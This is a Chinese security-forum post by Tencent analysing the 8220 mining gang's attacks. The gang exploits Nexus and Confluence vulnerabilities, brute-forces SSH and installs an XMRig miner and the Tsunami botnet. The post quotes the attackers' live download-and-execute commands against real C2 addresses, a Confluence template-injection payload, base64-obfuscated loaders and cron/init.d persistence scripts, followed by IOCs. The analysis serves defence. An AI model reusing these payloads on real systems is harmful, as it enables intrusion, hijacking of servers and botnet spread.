查看: 3069|回复: 3
收起左侧

[技术原创] 腾讯主机安全(云镜)捕获8220挖矿团伙最新变种使用新漏洞对企业云服务器的攻击

[复制链接]
腾讯电脑管家
发表于 2020-10-20 10:20:27 | 显示全部楼层 |阅读模式
本帖最后由 腾讯电脑管家 于 2020-10-22 15:41 编辑

一、背景

腾讯安全接到用户求助,报告腾讯云主机安全(云镜)网络防御功能检测到攻击事件。腾讯安全专家通过攻击日志分析,发现这是8220挖矿团伙最新变种针对企业云服务器的攻击活动,该用户对腾讯主机安全(云镜)网络攻击日志告警及时处置,已彻底消除该挖矿团伙的威胁。
图1.腾讯主机安全(云镜)检测网络攻击

在此次攻击活动中,发现8220挖矿团伙首次使Nexus Repository Manager 3远程代码执行漏洞CVE-2019-7238、Confluence 远程代码执行漏洞CVE-2019-3396攻击入侵,并在入侵后会尝试利用多个SSH爆破工具进行横向移动,最终在失陷系统植入挖矿木马以及Tsunami僵尸网络病毒。
腾讯安全研究人员分析发现,此次利用Nexus Repository Manager 3和Confluence Server高危漏洞的攻击来源为8220挖矿团伙,此次入侵后将核心shell程序xms下载到感染机器上执行,xms会尝试卸载安全软件,杀死竞品挖矿木马进程,关闭Linux防火墙、设置最大线程和内存页以保证挖矿时对机器资源的充分利用。
在横向移动阶段,8220挖矿团伙利用多个攻击程序对目标机器进行SSH爆破,攻击成功后上传木马程序并执行远程命令。执行Payload除了下载xms脚本的命令外,还会执行Python脚本代码d.py或dd.py(取决于C2域名bash.givemexyz.in是否可用)下载挖矿木马以及Tsunami僵尸程序,并且通过安装crontab定时任务和系统初始化脚本进行本地持久化,入侵攻击流程如下:
图2.8220挖矿变种攻击流程

8220挖矿团伙自2017年左右开始活跃,攻击目标包括Windows以及Linux服务器,该团伙早期会利用Docker镜像传播挖矿木马,后来又逐步利用Redis未授权访问漏洞、Kubernetes未授权访问漏洞、JBoss漏洞(CVE-2017-12149)、Weblogic漏洞(CVE-2017-10271)、Couchdb漏洞(CVE-2017-12635和CVE-2017-12636)、Drupal漏洞(CVE-2018-7600)、Hadoop Yarn未授权访问漏洞、Apache Struts漏洞(CVE-2017-5638)、Tomcat服务器弱口令爆破进行攻击,并且在2020年被发现开始通过SSH爆破进行横向攻击传播。
腾讯安全系列产品针对8220挖矿团伙最新行动的响应清单如下:
应用场景
安全产品
解决方案
腾讯T-Sec
威胁情报云查服务
(SaaS)
1)8220挖矿团伙相关IOCs已入库。
各类安全产品可通过“威胁情报云查服务”提供的接口提升威胁识别能力。可参考:https://cloud.tencent.com/product/tics
腾讯T-Sec
高级威胁追溯系统
1)8220挖矿团伙相关信息和情报已支持检索。
网管可通过威胁追溯系统,分析日志,进行线索研判、追溯网络入侵源头。T-Sec高级威胁追溯系统的更多信息,可参考:https://cloud.tencent.com/product/atts
云原生安全
防护
云防火墙
(Cloud Firewall,CFW)
1)基于网络流量进行威胁检测与主动拦截,已支持:
8220挖矿团伙关联的IOCs识别检测;
2)检测以下类型漏洞利用:Struts2漏洞利用、Weblogic漏洞利用、Drupal漏洞利用、Tomcat漏洞利用、JBoss漏洞利用、Confluence漏洞利用、Nexus Repository Manager 3漏洞利用

有关腾讯云防火墙的更多信息,可参考:
https://cloud.tencent.com/product/cfw
腾讯T-Sec  主机安全
(Cloud Workload Protection,CWP)
1)已支持查杀8220挖矿团伙相关木马程序;
2)检测以下漏洞:Apache Struts2漏洞CVE-2017-5638、WebLogic 漏洞CVE-2018-2628、WebLogic 漏洞CVE-2017-10271、Tomcat漏洞CVE-2017-12615、Drupal漏洞CVE-2018-7600、CouchDB权限绕过漏洞利用(CVE-2017-12635,CVE-2017-12636)、Confluence 未授权远程代码执行漏洞(CVE-2019-3396)、Nexus Repository Manager 3 远程代码执行漏洞(CVE-2019-7238)
腾讯主机安全(云镜)提供云上终端的防毒杀毒、防入侵、漏洞管理、基线管理等。关于T-Sec主机安全的更多信息,可参考:https://cloud.tencent.com/product/cwp
腾讯T-Sec 安全运营中心
基于客户云端安全数据和腾讯安全大数据的云安全运营平台。已接入腾讯主机安全(云镜)、腾讯御知等产品数据导入,为客户提供漏洞情报、威胁发现、事件处置、基线合规、及泄漏监测、风险可视等能力。
关于腾讯T-Sec安全运营中心的更多信息,可参考:https://s.tencent.com/product/soc/index.html
非云企业安全防护
腾讯T-Sec
高级威胁检测系统
(腾讯御界)
1)已支持通过协议检测8220挖矿团伙与服务器的网络通信
2)检测以下漏洞利用:Apache Struts2漏洞CVE-2017-5638、WebLogic 漏洞CVE-2018-2628、WebLogic 漏洞CVE-2017-10271、Tomcat漏洞CVE-2017-12615、Drupal漏洞CVE-2018-7600、JBoss漏洞CVE-2017-12149CouchDB权限绕过漏洞利用(CVE-2017-12635,CVE-2017-12636)Confluence 未授权远程代码执行漏洞(CVE-2019-3396)Nexus Repository Manager 3 远程代码执行漏洞(CVE-2019-7238)

关于T-Sec高级威胁检测系统的更多信息,可参考:
https://cloud.tencent.com/product/nta


二、详细分析1.网络入侵
Nexus Repository Manager 3中存在CVE-2019-7238远程代码执行漏洞,影响版本Nexus Repository Manager OSS/Pro 3.6.2 到 3.14.0,腾讯云安全团队于2019年2月13日发现并上报了该漏洞。
攻击者构造请求对运行Nexus Repository Manager 3的主机进行攻击,执行恶意命令传播挖矿程序,该攻击活动被腾讯主机安全(云镜)网络防御模块检测告警。
执行shell命令如下:
rm -rf /tmp/.python; curl -s http://205.185.116.78/xms | bash -sh; wget -q -O - http://205.185.116.78/xms | bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExNi43OC9kLnB5IikucmVhZCgpKSc= | base64 -d | bash -; lwp-download http://205.185.116.78/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms
Confluence Server和Confluence Data Center产品中使用的widgetconnecter组件(版本<=3.1.3)中存在服务器端模板注入(SSTI)漏洞CVE-2019-3396。攻击者可以利用该漏洞实现对目标系统进行远程代码执行(RCE)。
8220挖矿团伙于2020年10月15日上传了攻击Payload: ftp[:]//205.185.116.78/x.vm
图3

x.vm代码:
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("wget http[:]//205.185.116.78/xms -O /tmp/xms")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/xms")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl -O /tmp/xms http[:]//205.185.116.78/xms")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/xms")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("lwp-download http[:]//205.185.116.78/xms /tmp/xms")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/xms")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExNi43OC9kLnB5IikucmVhZCgpKSc= | base64 -d")

2
.核心shell
为了达到最大化占用内存资源进行挖矿的目的,xms首先进行以下设置:
setenforce 0 设置SELinux 成为permissive模式,临时关闭Linux防火墙,通过ulimit设置最大线程,通过vm.nr_hugepages设置最大内存页提高内存性能。
1.setenforce 0 2>/dev/null
2.ulimit -u 50000
3.sysctl -w vm.nr_hugepages=$((`grep -c processor /proc/cpuinfo` * 3))
然后通过搜索端口号、矿池IP地址找到并杀死竞品挖矿进程:
图4.杀死竞品挖矿进程

试图卸载阿里云骑士、腾讯云镜,该段代码目前被屏蔽,推测是黑客担心卸载行为被检测到。
图5.卸载安全软件

从ifconfig中获取IP地址备用。
图6.获取IP地址

通过Ping命令测试矿池域名DNS是否成功。
图7.测试矿池域名

设置横向移动攻击时的Payload:
payload="(curl -fsSL http://198.98.57.217/xms||wget -q -O- http://198.98.57.217/xms)|bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xOTguOTguNTcuMjE3L2QucHkiKS5yZWFkKCkpJw== | base64 -d | bash -; lwp-download http://198.98.57.217/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms"
Payload执行的代码主要功能为下载核心shell脚本xms并执行。
其中echo命令中的内容解码如下,主要功能为下载和执行Python代码d.py。
python -c 'import urllib;exec(urllib.urlopen("http://198.98.57.217/d.py").read())'
接着d.py负责下载和启动挖矿木马,x86_x64为64位、i686为32位,go负责启动挖矿进程和将其伪装成系统进程。
图8.下载挖矿木马

挖矿木马使用UPX壳保护,挖矿程序运行时伪装成系统进程“dbus”。
图9


图10.挖矿木马启动

脱壳后发现挖矿木马采用开源挖矿程序XMRig编译,并使用了特殊字符串“pwnRig”进行标记。
图11.挖矿木马标记

d.py部署挖矿进程后,base64解码执行另一段Python代码,负责下载bb.py:
python -c 'import urllib;exec(urllib.urlopen("http://bash.givemexyz.in/bb.py").read())'
接着bb.py负责下载和执行Tsunami僵尸程序。
图12.下载Tsunami僵尸程序

Tsunami僵尸程序会利用远程代码执行漏洞,扫描、定位和攻击脆弱的系统,然后通过僵尸网络来控制设备,通过IRC协议与C2服务器通信,根据命令发起HTTP、UDP类型的DDoS攻击。
图13. Tsunami僵尸程序特征

接着解码另一段base64编码的代码并执行:
#!/bin/bash
if [ $(ping -c 1 bash.givemexyz.xyz 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];
then
        url="bash.givemexyz.xyz"
        base="cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly9iYXNoLmdpdmVtZXh5ei54eXovZGQucHkiKS5yZWFkKCkpJw=="
else
        url="5.196.247.12"
        base="cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly81LjE5Ni4yNDcuMTIvZC5weSIpLnJlYWQoKSkn"
fi
if crontab -l | grep -q "205.185.113.151\|198.98.57.217"
then
    chattr -i -a /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down
    crontab -r
    echo "Cron not found"
   echo -e "*/1 * * * * root (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms\n##" > /etc/cron.d/root
echo -e "*/2 * * * * root (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms\n##" > /etc/cron.d/apache
echo -e "*/3 * * * * root /dev/shm/dbusex -c $dns && /home/`whoami`/dbusex -c $dns && /var/run/dbusex -c $dns && /root/dbusex -c $dns\n##" > /etc/cron.d/nginx
echo -e "*/30 * * * * (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms\n; rm -rf /tmp/xms\n##" > /var/spool/cron/root
echo IyEvYmluL2Jhc2gKCmVjaG8gLWUgJyMhL2Jpbi9iYXNoCiMjIyBCRUdJTiBJTklUIElORk8KIyBQcm92aWRlczogICAgICAgICAgZG93bgojIFJlcXVpcmVkLVN0YXJ0OgojIFJlcXVpcmVkLVN0b3A6CiMgRGVmYXVsdC1TdGFydDogICAgIDIgMyA0IDUKIyBEZWZhdWx0LVN0b3A6CiMgU2hvcnQtRGVzY3JpcHRpb246IGRvd24gKGJ5IHB3bmVkKQojIyMgRU5EIElOSVQgSU5GTwooY3VybCAtZnNTTCBodHRwOi8vNS4xOTYuMjQ3LjEyL3htc3x8d2dldCAtcSAtTy0gaHR0cDovLzUuMTk2LjI0Ny4xMi94bXMpfGJhc2ggLXNoOyBlY2hvIGNIbDBhRzl1SUMxaklDZHBiWEJ2Y25RZ2RYSnNiR2xpTzJWNFpXTW9kWEpzYkdsaUxuVnliRzl3Wlc0b0ltaDBkSEE2THk4MUxqRTVOaTR5TkRjdU1USXZaQzV3ZVNJcExuSmxZV1FvS1NrbiB8IGJhc2U2NCAtZCB8IGJhc2ggLTsgbHdwLWRvd25sb2FkIGh0dHA6Ly81LjE5Ni4yNDcuMTIveG1zIC90bXAveG1zOyBiYXNoIC90bXAveG1zJyA+IC9ldGMvaW5pdC5kL2Rvd24= | base64 -d | bash -
mkdir -p /var/spool/cron/crontabs
echo -e "* * * * * (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms\n##" > /var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly
echo "(curl -fsSL http://$url/xms||wget -q -O- http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/cron.hourly/oanacroner1
fi
该段代码主要有以下功能:
1. 测试bash.givemexyz.xyz是否能解析成功,能则赋值url="bash.givemexyz.xyz"且将base(定时任务)设置为dd.py,否则url=" 5.196.247.12",base(定时任务)设为d.py。
2. 将执行xms脚本的命令写入定时任务,写入以下位置:
/etc/cron.d/root
/etc/cron.d/apache
/etc/cron.d/nginx
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.hourly/oanacroner1
3. 执行一段base64编码的代码,通过设置系统初始化脚本(Linux Standard Base)将恶意代码添加到启动项/etc/init.d/down:
#!/bin/bash
echo -e '#!/bin/bash
### BEGIN INIT INFO
# Provides:          down
# Required-Start:
# Required-Stop:
# Default-Start:     2 3 4 5
# Default-Stop:
# Short-Description: down (by pwned)
### END INIT INFO
(curl -fsSL http://5.196.247.12/xms||wget -q -O- http://5.196.247.12/xms)|bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly81LjE5Ni4yNDcuMTIvZC5weSIpLnJlYWQoKSkn | base64 -d | bash -; lwp-download http://5.196.247.12/xms /tmp/xms; bash /tmp/xms' > /etc/init.d/down

3.横向移动
1.从/.ssh/known_hosts中获取已认证的远程主机ID,与对应的主机建立SSH连接并执行命令下载恶意脚本xms。
图14

2.利用下载的攻击程序hxx进行SSH扫描和爆破登陆,然后下载xms执行。
图15

Hxx为一款端口扫描和爆破工具,在某视频分享网站上https[:]//asciinema.org/a/106101有作者honeypot上传的演示视频。
图16

爆破字典中包含16000多对SSH账号密码。
图17

3.利用下载的攻击程序sshexec和sshpass进行SSH爆破登陆。
图18

sshexec支持上传文件到远程服务器同时执行命令,攻击时将包含挖矿木马和启动程序的压缩包"/tmp/good.tar.gz"上传到目标服务器,然后解压执行。
图19

IOCs
IP
205.185.116.78
5.196.247.12
198.98.57.217
205.185.113.151
194.156.99.30
209.141.61.233
209.141.33.226
209.141.35.17
Domain
bash.givemexyz.xyz
bash.givemexyz.in
c4k-rx0.pwndns.pw
MD5
xms
917f0390a3568385fcbfecc0b2b36590
xms
c242aee778acb533db60b1bc8bb7478d
xmi
4613a0cdf913d3f193e977bebbaf7536
x86_64
cd7ca50a01fc9c6e8fdc8c3d5e6100f0
i686
8bfc072d37f41190515f8dc00a59fb2e
x32b
ee48aa6068988649e41febfa0e3b2169
x64b
c4d44eed4916675dd408ff0b3562fb1f
go
9c7ceb4aa12986d40ffdd93ba0ca926e
d.py
2bee6aad5c035f13fc122ec553857701
dd.py
d563218fee8156116e1ad023f24e1a5d
bb.py
2fd8cfcac4d08577c6347567b5978497
good.tar.gz
8f1e95b72e228327d5d035e8c9875cb4
linux.tar.gz
c7a83c9225223394a5e3097d8e1eb66e
sshexec
57b818cb57dd4a517bde72684e9aaade
sshpass
b1fc3486f3f4d3f23fcbf8b8b0522bf8
scan
b42183f226ab540fb07dd46088b382cf
hxx
f0551696774f66ad3485445d9e3f7214
l.py
022d538e6175a58c4ebdfe3b1f16c82e
URL
http[:]//205.185.116.78/xms
http[:]//205.185.116.78/sshpass
http[:]//205.185.116.78/sshexec
http[:]//205.185.116.78/p
http[:]//205.185.116.78/scan
http[:]//205.185.116.78/masscan
http[:]//205.185.116.78/hxx
http[:]//205.185.116.78/d.py
http[:]//205.185.116.78/dd.py
http[:]//205.185.116.78/bb.py
http[:]//bash.givemexyz.xyz/xms
http[:]//bash.givemexyz.xyz/dd.py
http[:]//bash.givemexyz.xyz/i686
http[:]//bash.givemexyz.xyz/d.py
http[:]//bash.givemexyz.xyz/x32b
http[:]//bash.givemexyz.xyz/xmi
http[:]//bash.givemexyz.xyz/x86_64
http[:]//198.98.57.217/xms
http[:]//198.98.57.217/xmi
http[:]//198.98.57.217/sshexec
http[:]//198.98.57.217/sshpass
http[:]//198.98.57.217/good.tar.gz
http[:]//198.98.57.217/d.py
http[:]//198.98.57.217/x64b
http[:]//198.98.57.217/x32b
http[:]//194.156.99.30/l.py
http[:]//bash.givemexyz.in/dd.py
http[:]//209.141.35.17/wpfa.txt
参考链接:
1. Nexus Repository Manager 3 访问控制缺失及远程代码执行漏洞预警
2. Confluence未授权RCE(CVE-2019-3396)漏洞分析
3. 疑似国内来源的“8220挖矿团伙”追踪溯源分析
4 “8220团伙”最新活动分析:挖矿木马与勒索病毒共舞
5. 8220团伙新动向:利用Aapche Struts高危漏洞入侵,Windows、Linux双平台挖矿
6. 抗“疫”时期,谨防服务器被StartMiner趁机挖矿!
7. “8220”挖矿木马入侵服务器挖矿,组建“海啸”僵尸网络,可发起DDoS攻击


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
cutthesoul
发表于 2020-10-20 10:59:27 | 显示全部楼层
图片。。。
神龟Turmi
发表于 2020-10-20 12:11:12 | 显示全部楼层
防盗链...扣工资!
MelissaBenoist
发表于 2020-10-22 11:06:51 | 显示全部楼层
这图标没一张能看的。。。
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-23 10:12 , Processed in 0.137806 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表